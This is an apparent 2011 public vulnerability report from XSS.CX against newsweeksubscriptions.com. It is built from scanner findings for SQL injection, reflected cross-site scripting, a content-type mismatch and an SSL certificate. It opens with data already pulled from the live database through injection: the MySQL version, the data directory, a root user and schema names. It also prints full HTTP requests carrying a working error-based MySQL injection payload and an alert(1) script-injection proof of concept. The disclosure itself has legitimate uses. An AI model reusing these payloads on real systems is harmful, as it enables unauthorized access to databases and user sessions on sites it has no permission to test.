XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, BHDB, newsweeksubscriptions.com

Report generated by XSS.CX at Thu Oct 06 15:00:01 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

select @@version = MySQL 5.0.67-community
select @@datadir = /var/lib/mysql
select user() = root@localhost
select database() = newsweekdev
SELECT schema_name FROM information_schema.schemata limit 0,1 = information_schema
SELECT schema_name FROM information_schema.schemata limit 1,1 = Amazon
SELECT schema_name FROM information_schema.schemata limit 1,1 = Amazon1
SELECT schema_name FROM information_schema.schemata limit 3,1 = backend
SELECT schema_name FROM information_schema.schemata limit 4,1 = backend_main
SELECT schema_name FROM information_schema.schemata limit 5,1 = backend_test

XSS.CX Anti-Phishing Research consumes Public Domain URL's to identify Points of Contact within an organization that would be sent Private Reports of Vulnerabilities. Its suggest that any published materials for Contact Us include Security Researchers seeking to report vulnerabilities observe URL http://technet.microsoft.com/en-us/security/ff852094.aspx as Best Practices for a Company to use as a baseline transaction. XSS.Cx doesn't use DOMAIN WHOIS, RADB or ARIN CIDR Point of Contact Records.

1. SQL injection

2. Cross-site scripting (reflected)

3. SQL statement in request parameter

4. Content type incorrectly stated

5. SSL certificate

1. SQL injection next

Summary

Severity:	High
Confidence:	Firm
Host:	https://www.newsweeksubscriptions.com
Path:	/FTcontrol/index.php

Issue detail

The orderid parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the orderid parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be MySQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

Request

POST /FTcontrol/index.php HTTP/1.1
Referer: https://www.newsweeksubscriptions.com/FTcontrol/index.php?submitted=V&kind=guard&t=&extra_info=&extra_info2=
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.newsweeksubscriptions.com
Content-Length: 784
Expect: 100-continue
Accept-Encoding: gzip, deflate

orderid=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2C(select+%40%40version)%2CCHAR(95)%2CCHAR(33)%2CCHAR(64))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))'&studentplace=3&studentcourse=3&studentyear=3&title=3&name=Smith&fname=Smith&lname=Smith&initials=3&company=3&city=3&address=3&address2=3&address3=3&state=3&zipcode=3&email=netsparker%40example.com&te
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Thu, 06 Oct 2011 19:58:39 GMT
Server: Apache/2.2.16 (Unix)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 149
Content-Type: text/html; charset=UTF-8

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

2. Cross-site scripting (reflected) previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.newsweeksubscriptions.com
Path:	/FTcontrol/index.php

Issue detail

The value of the orderid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b1c99'%3balert(1)//c14d17d233c436490 was submitted in the orderid parameter. This input was echoed as b1c99';alert(1)//c14d17d233c436490 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /FTcontrol/index.php?orderid=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2C(select+%40%40version)%2CCHAR(95)%2CCHAR(33)%2CCHAR(64))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))b1c99'%3balert(1)//c14d17d233c436490&studentplace=3&studentcourse=3&studentyear=3&title=3&name=Smith&fname=Smith&lname=Smith&initials=3&company=3&city=3&address=3&address2=3&address3=3&state=3&zipcode=3&email=netsparker%40example.com&telephone=3&gender=3&debug=3&count=3&cc_type=3&cc_number=3&cc_holder=3&cc_month=3&cc_year=3&cc_scode=3&country=3&newstatus=3&interextra=3&extra_info=3&extra_info2=3&sub_type=3&isgift=3&SourceCode=3&KeyCode=3&Code=3&reference_url=3&semail=netsparker%40example.com&campaign_type=3&tagsrc=3&rnd=3&absplitsrc=3&abrnd=3&paym=3&offer=3&kind=lp&submitted=V HTTP/1.1
Referer: https://www.newsweeksubscriptions.com/FTcontrol/index.php?submitted=V&kind=guard&t=&extra_info=&extra_info2=
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Host: www.newsweeksubscriptions.com
Expect: 100-continue
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Thu, 06 Oct 2011 19:58:32 GMT
Server: Apache/2.2.16 (Unix)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 182
Content-Type: text/html; charset=UTF-8

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'b1c99';alert(1)//c14d17d233c436490' at line 1

3. SQL statement in request parameter previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.newsweeksubscriptions.com
Path:	/FTcontrol/index.php

Issue description

The request appears to contain SQL syntax. If this is incorporated into a SQL query and executed by the server, then the application is almost certainly vulnerable to SQL injection.

You should verify whether the request contains a genuine SQL query and whether this is being executed by the server.

Issue remediation

The application should not incorporate any user-controllable data directly into SQL queries. Parameterised queries (also known as prepared statements) should be used to safely insert data into predefined queries. In no circumstances should users be able to control or modify the structure of the SQL query itself.

Request

POST /FTcontrol/index.php HTTP/1.1
Referer: https://www.newsweeksubscriptions.com/FTcontrol/index.php?submitted=V&kind=guard&t=&extra_info=&extra_info2=
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.newsweeksubscriptions.com
Content-Length: 784
Expect: 100-continue
Accept-Encoding: gzip, deflate

orderid=(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2C(select+%40%40version)%2CCHAR(95)%2CCHAR(33)%2CCHAR(64))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))&studentplace=3&studentcourse=3&studentyear=3&title=3&name=Smith&fname=Smith&lname=Smith&initials=3&company=3&city=3&address=3&address2=3&address3=3&state=3&zipcode=3&email=netsparker%40ex
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Thu, 06 Oct 2011 19:55:35 GMT
Server: Apache/2.2.16 (Unix)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 54
Content-Type: text/html; charset=UTF-8

Duplicate entry '_!@5.0.67-community_!@:0' for key 1

4. Content type incorrectly stated previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.newsweeksubscriptions.com
Path:	/FTcontrol/index.php

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain script.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

Response

5. SSL certificate previous

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.newsweeksubscriptions.com
Path:	/

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:	www.newsweeksubscriptions.com
Issued by:	Thawte Premium Server CA
Valid from:	Thu Feb 11 18:00:00 CST 2010
Valid to:	Sun Feb 26 17:59:59 CST 2012

Certificate chain #1

Issued to:	Thawte Premium Server CA
Issued by:	Thawte Premium Server CA
Valid from:	Wed Jul 31 19:00:00 CDT 1996
Valid to:	Fri Jan 01 17:59:59 CST 2021

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.